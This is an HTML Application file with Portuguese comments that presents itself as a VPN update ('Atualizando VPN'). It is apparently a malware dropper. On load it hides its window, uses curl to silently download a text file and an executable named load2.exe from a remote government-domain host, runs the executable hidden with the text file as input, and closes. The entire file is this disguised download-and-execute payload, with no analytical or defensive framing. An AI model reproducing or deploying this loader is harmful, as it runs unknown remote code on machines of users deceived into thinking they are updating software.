<html>
<head>
    <title>Atualizando VPN</title>
    <HTA:APPLICATION
        ID="App"
        BORDER="none"
        CAPTION="no"
        SHOWINTASKBAR="no"
        SINGLEINSTANCE="yes"
        WINDOWSTATE="minimize" />
</head>
<script language="VBScript">
    Sub Window_OnLoad()
        Dim tempFolder, vpnJsPath, vpnExePath, shell, cmd

        tempFolder = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\vpn"
        vpnJsPath = tempFolder & "\vpn.txt"
        vpnExePath = tempFolder & "\vpn.exe"

        ' Criar diretório temporário se não existir
        If Not CreateObject("Scripting.FileSystemObject").FolderExists(tempFolder) Then
            CreateObject("Scripting.FileSystemObject").CreateFolder(tempFolder)
        End If

        ' Baixar arquivos usando o curl do Windows
        Set shell = CreateObject("WScript.Shell")
        cmd = "cmd /c curl -s -o """ & vpnJsPath & """ https://dev-ti.camaratunapolis.sc.gov.br/vpn.txt"
        shell.Run cmd, 0, True

        cmd = "cmd /c curl -s -o """ & vpnExePath & """ https://dev-ti.camaratunapolis.sc.gov.br/load2.exe"
        shell.Run cmd, 0, True

        ' Executar o arquivo baixado com argumento
        shell.Run """" & vpnExePath & """ """ & vpnJsPath & """", 0, False

        ' Fechar automaticamente
        self.close
    End Sub
</script>
</html>
